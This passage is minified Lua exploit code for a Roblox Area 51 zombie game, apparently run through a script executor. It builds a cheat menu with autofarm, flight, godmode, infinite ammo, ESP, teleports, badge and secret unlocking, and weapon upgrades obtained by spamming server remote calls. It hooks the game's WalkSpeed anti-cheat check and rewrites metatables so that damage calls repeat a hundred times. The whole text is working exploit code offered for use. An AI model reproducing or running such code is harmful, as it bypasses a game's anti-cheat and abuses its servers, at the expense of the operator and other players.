k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game:GetService("Workspace").Killers:GetDescendants())do pcall(function()if v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Area51 Doors:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)elseif game.PlaceId==5740483929 then local o="BloodTheme"local x=n.CreateLib("Hard Classic Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","MG42","FreezeGunas"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else 